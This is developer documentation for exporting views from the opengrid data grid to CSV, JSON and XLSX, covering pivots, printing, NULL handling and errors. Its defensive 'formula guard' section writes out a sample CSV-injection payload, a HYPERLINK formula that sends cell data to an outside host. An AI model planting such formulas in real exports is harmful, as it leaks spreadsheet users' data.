Exporting
What an export holds and why it holds raw values, from the browser or from a server, a pivot as it is shown, printing and PDF, the formula guard, and reading an export back.
The grid has no export button. What to export, in which format, under which name, and what to say afterwards are the page’s — the same line as for saving an edit. What opengrid supplies is what a page cannot do well by itself: the query of what the reader sees, every match of it fetched without a row lost or doubled, and one notation for the file, the same in the browser and on the server.
Three calls do it. Their signatures and every option are in The public API → Exporting the view; this page is about using them.
| Call | What it answers | Where the work is done |
|---|---|---|
exportRows(provider, query, options) |
Every match of a query, as a Blob of CSV, JSON or XLSX. |
Through any provider, in pieces — or in one request where the provider can. XLSX is written by the server where the provider exports there, and in the tab otherwise. |
createRestProvider(…).export(query, options) |
The same, from POST /export/{source}. |
On an opengrid-server, streamed. exportRows uses it by itself. |
get_pivot(host, options) |
An <opengrid-pivot> as it is shown, as CSV text. |
In the element, without a request. |
exportPivot(provider, host, options) |
The same pivot as an XLSX file, a Blob. |
On an opengrid-server, in one request. |
What is exported
The view, every match of it. get_query(grid) is the query the grid asks its provider,
without a window: the filter row, the nested filter, the facets and the free-text search and-ed together, the sort,
the shown columns in their order. Not the rows that happen to be loaded, not the page the reader
is on — every row that matches. A hidden column is not in it, a moved one is in its new place.
Three things are left out, each on purpose:
- The selection. It names positions, and an export of it is the query plus those positions (The view).
- Edits the page has not saved. The export asks the source again, and the grid has no write path: an edited value is exported as the source still holds it. Save first.
- Group and total rows. A grouped grid exports its rows, in the order it draws them — by their groups first, then by the sort.
A tree is exported whole and flat (rule T8, issue #166). get_query on a grid with tree
asks for every node of the reader’s view — not only the open ones — depth-first, each node’s
children in the grid’s sort. Each row gets the columns of the tree after its own:
| Column | CSV, XLSX | JSON |
|---|---|---|
level |
the depth, 1 for a root | the same, a number |
path |
the keys from the root down, 1 / 2 / 4 |
an array, [1, 2, 4] |
match |
with a filter only: true for a match, false for context |
the same, a boolean |
The keys name the records, so a path stays right whatever the names say. A source field called
level or path — or match, with a filter — is refused with a sentence rather than renamed;
rename the field to export the tree flat. Subtree summaries are not exported (yet).
get_query answers null when there is nothing to export: a grid that is not connected yet,
one whose filter does not hold (its status line says why), and the table and the pivot. A page
checks for it before it exports.
Raw values, not what the grid shows. A display format — Intl options or a function from
set_formats — is written for one reader in one language. An export is data for the next
program, and that program cannot read 1.234,50 € as a number or 3. Feb. 2026 as a date. So
every value is written in the wire notation, the one the engine and the server answer queries
in:
| Type | In the file |
|---|---|
| decimal | Exact, at its scale: 12.50. Never through a float. |
| date | 2026-02-03 |
| timestamp | ISO 8601 in UTC, microseconds when there are any: 2026-02-03T08:15:00Z, 2026-02-03T08:15:00.000001Z |
| float | The shortest text that reads back to the same number; NaN, Infinity and -Infinity spelled out. |
| boolean | true, false |
| NULL | In a CSV an empty, unquoted field, or the spelling the null option gives; in JSON null. |
| the empty string | In a CSV "" — so that it stays apart from NULL; in JSON "". |
The CSV header and the JSON keys are the field names. The grid has no other headings.
CSV is RFC 4180: UTF-8 with a byte order mark (without one, Excel reads UTF-8 as the system
code page and every ä breaks), lines ending in CRLF, , between fields — delimiter: ";" for
an Excel in a German locale, which splits on ; — and a field quoted only when it has to be.
JSON is one array of row objects, the keys in the order of the columns.
Within a tie of the sort, the export orders by the selected columns. The grid’s sort may tie,
and a tie has no order a second request is bound to repeat. So exportRows appends every
selected column that is not yet in the sort, ascending: the order is then total, and the export
the same every time. Two rows the grid showed in one order may therefore come in the other.
The server gets the same query, so both ways write the same file.
In the browser
A button that exports the current view, with the grid’s own provider — the one given to
set_provider or connect, so the export reads the same source, with the same token, as the
grid:
import { exportRows, loadOpengrid } from "@casoon/opengrid";
const grid = document.querySelector("opengrid-grid"); // connected to `provider`
const button = document.querySelector("#export");
const bar = document.querySelector("#export-progress"); // a <progress>
const status = document.querySelector("#export-status"); // the page's live region
button.addEventListener("click", async () => {
const loader = await loadOpengrid();
const query = loader.module?.get_query(grid);
if (!query) {
status.textContent = "There is nothing to export.";
return;
}
let written = 0;
try {
const blob = await exportRows(provider, query, {
delimiter: ";",
onProgress: ({ rows, total }) => {
written = rows;
bar.max = total;
bar.value = rows;
},
});
const link = Object.assign(document.createElement("a"), {
href: URL.createObjectURL(blob),
download: "orders.csv",
});
link.click();
// Revoked once the download has taken the URL, not in the same task.
setTimeout(() => URL.revokeObjectURL(link.href), 0);
status.textContent = `${written} rows exported as orders.csv.`;
} catch (error) {
console.error(error); // the sentence is for the developer
status.textContent = "The export failed.";
}
});
- The outcome goes to the page’s live region, once. The grid’s status line speaks about the
grid, and a progress announced after every piece would be a hundred announcements for a
million rows; a
<progress>shows it without saying it. - Keep the button focusable while it runs. A
disabledbutton drops the focus;aria-disabled="true"and an early return keep it where the reader left it. The prototype page (examples/prototype) does exactly that. - Cancelling is an
AbortController: passsignal: controller.signal, andabort()rejects the export with anAbortErrorand gives noBlob. The REST, pivot and hybrid providers stop their request; the tab and the worker cannot stop a query that has started, and its answer is dropped.
How it fetches. exportRows asks the provider for offset/limit windows of chunkSize
rows (10 000), under the sort made total as above. The first piece’s total_count is the total:
more than maxRows (1 000 000) is an error before anything else is fetched, never a truncated
file. Every later piece must report the same count, and none may end before the total; a source
that changes while the export runs shifts the windows, so that export is refused, not written.
The pieces are written as they come and kept as a Blob until the page hands it to the reader.
One request where the provider can. A provider with an export method exports by itself,
and exportRows lets it: with createRestProvider the whole export is one streamed request —
the next section. The hybrid provider has none, and exports in pieces through its planner.
Over a server
When the grid reads from an opengrid-server, nothing changes in the page: exportRows sees the
REST provider’s export and sends the query — the same query, tie-breaker included — to
POST /export/{source} in one request. The server writes the file with the same code the
browser uses, so the bytes are the same; what changes is how they are read. Against PostgreSQL
it is one statement read through a cursor in one snapshot, instead of OFFSET windows that get
dearer with every piece and could each see different data.
What a page notices:
- The server’s rules are
/query’s. The token,allowed_fields, the tenant’srow_filter: an export shows a reader no row and no column their grid could not. - Its bound is its own. More rows than
max_export_rows(1 000 000 by default) is refused before the first byte; more exports at once thanmax_concurrent_exportsis a503.maxRowsstill holds on the page’s side: the server says how many rows follow before it sends them, and more thanmaxRowsis refused without reading the body. - Progress comes once, at the end: the download is one response. Show that the export is
running, not how far it is — a
<progress>without a value does. - A break is never a short file. A failure after the first byte — the source, a client that took too long, the server itself — breaks the connection off, and the export rejects.
Calling the provider’s export directly — rest.export(query, options) — sends the query as it
is given: without the tie-breaker exportRows adds, so within a tie the database decides the
order, and without the default maxRows. Prefer exportRows.
The endpoint itself — its parameters, headers and status codes, a curl line, the bounds on
what an export holds and a memory measurement for a million rows — is in
Where queries run → Exporting from a server.
XLSX
format: "xlsx" writes an Excel workbook: on the server where the provider exports there
(createRestProvider), and in the tab for any other provider — the engine in the tab, a
worker, the hybrid provider. One sheet, named after the source, the header row with the field
names, frozen. XLSX is the format for people in a spreadsheet; CSV and JSON stay the exact ones,
and nothing changes a value on the way:
| Type | In the workbook |
|---|---|
bool |
a boolean |
int64 |
a number — text past ±2⁵³, where a spreadsheet number loses digits |
decimal |
a number with its scale as the number format (0.00) — text past 15 significant digits, Excel’s precision |
float64 |
a number; NaN, Infinity, -Infinity as text |
date |
an Excel date, yyyy-mm-dd — text outside Excel’s years 1900–9999 |
timestamp |
an Excel date-time in UTC, yyyy-mm-dd hh:mm:ss.000 — text (ISO) with sub-millisecond digits |
utf8 |
a string — never a formula, so the formula guard has nothing to do |
| NULL | an empty cell |
In the tab the same writer runs as a module of its own, @casoon/opengrid/xlsx/ (about
250 KB brotli), which exportRows loads the first time a workbook is asked for and keeps; a page
that never exports to Excel does not fetch it. A bundler follows the import; without one the files
are served next to loader.js. Two things differ from the server:
- The workbook is built in memory. The server writes finished rows to a temporary file; a
browser has none. So the memory the tab needs grows with the rows: measured with five columns of
mixed types, about 120 MB at 100 000 rows, 510 MB at 500 000 and 1 GB at a million. The rows are
therefore bounded by
maxRows, 250 000 by default for a workbook in the tab (a server’s is 1 000 000), and by what an Excel sheet holds, 1 048 575. More is an error with the codetoo_many_rows, never a shortened file; a page that knows its users’ machines can raisemaxRows. - Pieces, not one request: the file is built from the same
chunkSizepieces as a CSV, with the same tie-breaking sort and the same detection of a source that changes underneath.
One difference a workbook cannot hold: the empty string and NULL are both an empty cell — Excel has no empty text apart from an empty cell. CSV and JSON keep the two apart.
Excel’s limits are errors, never a shortened file: more rows than a sheet holds (1 048 575 under
the header) is a 413 before the first byte, and a text longer than a cell holds (32 767
characters) breaks the download off. The file is written as the rows are read and sent as one
piece at the end, so onProgress hears the end as for any server export.
A pivot
A pivot is exported by the element, as the table shows it:
const pivot = document.querySelector("opengrid-pivot");
const loader = await loadOpengrid();
const csv = loader.module?.get_pivot(pivot, { delimiter: ";" });
if (csv) {
const blob = new Blob([csv], { type: "text/csv;charset=utf-8" });
// … and on as for the grid: a link, a file name, a sentence.
}
get_pivot is synchronous and asks nothing: the element holds the whole pivot — at most 256
columns, 10 000 rows and 131 072 cells — so there is no window and nothing a second request could add. It
answers text, not a Blob, and CSV only. It takes the same CSV options, and answers null
before the first answer, while one loads, and after an error.
What differs from a grid’s export is that a pivot’s file is a table as shown, not rows of
data: one header line naming each generated column by its value and measure (2025 · total),
the subtotals and the grand total as rows with their labels, and NULL and the empty group named
in the element’s own texts — (no value), (empty), or what set_texts made of them. The
values are in the wire notation all the same. The details, and why the header is one line, are
in The public API → Exporting a pivot.
A pivot as a workbook
An XLSX file is written by the server, for a pivot as for the grid’s rows. exportPivot asks the
server for the pivot the element shows and answers the workbook:
import { exportPivot } from "@casoon/opengrid";
// The provider the pivot has: createPivotProvider, or a createRestProvider on the same source.
const blob = await exportPivot(provider, pivot, { format: "xlsx" });
The sheet is the CSV’s table: one header row with the same names (2025 · total), the same
rows in the same order, subtotals and the grand total as rows with their labels. No merged cells
and no outline levels, so it sorts and filters in a spreadsheet and reads row by row with a
screen reader. What a workbook adds is the type of each cell, as in
the table above: a number or a date is one, in a measure and in a dimension
column alike, and a NULL measure is an empty cell. A label is a string, never a formula.
Three things to know:
- The server answers again. The CSV is the answer the element holds; the workbook is the
element’s view — its
rows,columns,values,sortandfilter— asked of the server once more, under the same rules and limits as the pivot itself. If the data moved since the table was drawn, the file is the newer answer. - The words are the element’s. The totals and the NULL and empty groups read as in the
table:
exportPivotreads the element’s texts — its defaults, or whatset_textsmade of them — and sends them with the request. The page hands over nothing. - Only with a server. A pivot over the engine in the tab or in a worker has no
exportPivot; asking is aTypeErrorbefore anything is sent. (A workbook of a grid’s rows is different:exportRowswrites it in the tab.) Its CSV isget_pivoteverywhere.
Paper and PDF
opengrid writes no PDF. It prints: the grid turns its view into a plain table, the browser puts it on paper, and “Save as PDF” in the print dialog makes the file — with the table’s structure in it, where the browser writes tagged PDFs.
printButton.addEventListener("click", async () => {
const loader = await loadOpengrid();
try {
await loader.module?.prepare_print(grid);
} catch (error) {
console.error(error);
status.textContent =
error.code === "too_many_rows" ? "Too many rows to print. Narrow the view." : "Printing failed.";
return;
}
window.print();
});
prepare_print fetches every match of the view and builds the table; it shows on paper only, in
place of the grid, and is gone after the print. It is not an export: the values are as the grid
shows them, formatted for a reader, under the columns’ titles, with a caption that names the
grid, the number of matches and the filters. A grouped grid prints its groups open, each under a
header row; a tree prints whole, indented by depth. More than 10 000 matches are refused — that
is a file, not paper.
Printing without it — the reader’s own Ctrl+P — prints the grid as the screen shows it: a
browser does not wait for a query before it prints. A page that wants every match on
paper offers the button.
Paper size, orientation and margins are the print dialog’s and the page’s:
@page { size: A4 landscape; margin: 12mm; }
A table and a pivot are printed as they stand. The contract is in The public API → Printing the view.
The formula guard
A spreadsheet runs a cell that starts with =, +, - or @ as a formula. An export of user
data would then carry whatever a user typed into a spreadsheet as a formula — a customer named
=HYPERLINK("https://example.org/?"&A2, "Details") becomes a link that sends the next cell
away. That is formula injection (OWASP calls it CSV injection), and the export guards against it
by default: protectFormulas is on.
What it does. A text cell that starts with =, +, -, @, a tab or a carriage return
gets a leading ', which makes a spreadsheet read the cell as text: it runs nothing. The rest of the rules follow from where an attack can come from:
- Text columns only. A number column’s
-5is a number, not an attack, and a'would change the data. Neither are the field names in the header, which start with a letter or_. In a pivot the guard covers every header and label as well, because a dimension value is data. -Infinityshows as#NAME?in Excel. It is a float column’s value, spelled out; Excel reads it as a formula naming something that does not exist. It is not attacker text — the export writes it only for a float that is negative infinity — so it is not guarded, and a'would make it a text in a number column.- With the guard on, a field that holds
,,;or a tab is always quoted, whatever the delimiter. A spreadsheet that splits on the other list separator —;in a German Excel, for a file written with,— would otherwise cutx;=cmd…in two and reach the=. - Under the guard,
nullmay not start with=,+,-,@or a tab. The spelling is written into every empty cell as it is, unguarded;exportRows,get_pivotand the server refuse such a spelling with a sentence.
When to switch it off. When the file is read by a program, not opened in a spreadsheet —
opengrid’s own ingest, pandas, a database’s COPY, another service. To a program the ' is
part of the value: a text column holding -5 would come back as '-5. Pass
protectFormulas: false for such an export, and only for such an export; a page that serves
both can offer two buttons. JSON has no guard: nothing opens JSON as a spreadsheet.
Naming the band
A grid with column bands shows a band above its columns; a file has one
header row. The print table writes Address · City for a banded column by itself. A CSV or an XLSX
does so when the page hands it the texts:
const blob = await exportRows(provider, loader.module.get_query(grid), {
format: "xlsx",
headers: loader.module.get_export_headers(grid), // { city: "Address · City", … }
});
headers maps a field name to the text of its header cell; a column without an entry keeps its field
name, and the data is not touched. A JSON export has no header row and refuses the option. Over a
server, createRestProvider sends each text as a parameter, header.<column>, to
POST /export/{source} (CSV and XLSX; JSON refuses it, as it refuses a CSV option on another
format). The text is written like a name: quoted in a CSV where it needs it, and a text a spreadsheet
would run as a formula (=…) is guarded like any other.
NULL in a CSV
NULL is an empty, unquoted field; the empty string is "". A reader that tells quoted from
unquoted keeps them apart. A spreadsheet does not — both are empty cells — and many other readers
do not either, which is what the null option is for: null: "\\N" (the two characters \N, as
PostgreSQL’s COPY writes it) or null: "NULL" spells NULL out, and a real text that reads like
the spelling is quoted, so a reader that tells them apart still can. The spelling may not hold
the delimiter, a quote or a line break.
One column, NULL written empty, loses rows. A row whose only value is NULL is then an empty
line, and most readers skip empty lines — opengrid’s ingest does. For an export that may have a
single column, set null.
Reading an export back into opengrid
opengrid’s ingest — Engine.load_csv in the browser, a local-csv source on the server — reads a
CSV with a header, , between fields and \N for NULL; it skips a byte order mark and takes
CRLF. An export reads back unchanged with the NULL spelled that way and the guard off:
const blob = await exportRows(provider, query, { null: "\\N", protectFormulas: false });
- The guard off, because a text that starts like a formula would otherwise come back with its
'. - A schema of the exported columns. The ingest never guesses types, and it checks the header against the schema: its columns are the file’s, in the file’s order. A column the source derived — a year from a date — is an ordinary column in the file, and declared as one.
- Everything else comes back as it was: decimals exact, timestamps to the microsecond,
NaN,Infinity,-0.0, the empty string, and text with delimiters, quotes and line breaks in it (crates/opengrid-export/tests/roundtrip.rsholds that for every stored type). - Except the text
\Nitself, which comes back as NULL. The export quotes it,"\N", to keep it apart; the ingest does not tell a quoted\Nfrom an unquoted one.
Limits and errors
Every refusal is a rejection with a sentence, never a shorter file. The sentences are English
and written for the developer; a page logs them and tells the reader in its own words, chosen
by the error’s code — never by the sentence. A server’s refusal carries its HTTP status as
well. An abort is told apart by its name. The fields and the whole list of codes are in
The public API → Errors.
| What happened | What the page gets | code |
What it can say |
|---|---|---|---|
get_query answered null |
Nothing yet — check before exporting (exportRows would reject with a TypeError). |
— | There is nothing to export. |
| The reader cancelled | A DOMException whose name is "AbortError"; no Blob. |
— | That it was cancelled — or nothing, since the reader did it. |
More matches than maxRows |
exportRows: … rows match, more than the … an export may have (maxRows), before anything else is fetched. |
too_many_rows |
Too many rows: narrow the view. |
More than the server’s max_export_rows |
The server’s 413: the export has … rows, more than the … allowed (max_export_rows), before the first byte. |
limit_exceeded |
The same. |
| Too many exports at once | The server’s 503: … exports are running, the most this server runs at once (max_concurrent_exports); try again later. |
busy |
Try again in a moment. |
| The token was refused | The server’s 401. |
unauthorized |
Sign in again. |
| The source changed during the export | exportRows: the source changed during the export (…); export again — pieces only. |
source_changed |
Export again. For a source that changes all the time, export from the server, which reads one snapshot. |
| The server broke off mid-download | The browser’s own network error from the response body. | — | The export failed; try again. |
A wrong option — an unknown key, a CSV option on JSON, a delimiter of two characters, a null that starts like a formula under the guard |
A TypeError or an Error, before any request. Sent to rest.export directly, the server’s 400. |
— (malformed from the server) |
Nothing: that is the page’s bug. |
| The WebAssembly module did not load | exportRows: the WebAssembly module did not load, and the export notation is in it |
module_not_loaded |
The export is not available. |
The server’s other answers are those of /query: a 422 (validation) for a field outside
allowed_fields — the same unknown field as a typo — and a 413 (limit_exceeded) for a
timeout before the first byte, the export took longer than … ms to start. For get_pivot the
errors are thrown, not rejected, and carry no code: a wrong option, and a shown answer it cannot
read.